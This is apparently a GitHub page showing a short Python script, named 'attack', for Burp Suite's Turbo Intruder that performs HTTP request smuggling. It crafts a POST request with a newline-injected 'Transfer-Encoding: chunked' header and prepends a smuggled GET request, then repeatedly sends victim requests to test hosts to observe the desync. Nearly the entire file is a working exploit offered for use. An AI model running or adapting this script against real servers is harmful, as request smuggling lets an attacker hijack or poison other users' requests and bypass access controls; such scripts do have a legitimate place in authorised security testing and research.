-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathattack
35 lines (32 loc) · 1.12 KB
/
attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
req = '''POST / HTTP/1.1
Host: app.test.in
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Foo: bar\x0ATransfer-Encoding: chunked
0
'''
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint='http://api.test.in',
concurrentConnections=1,
requestsPerConnection=10,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET /robots HTTP/1.1
Host: api.test.in
X-Ignore: X'''
# The request engine will auto-fix the content-length for us
attack = req + prefix
engine.queue(attack)
victim = req
for i in range(14):
engine.queue(victim)
time.sleep(0.5)
def handleResponse(req, interesting):
table.add(req)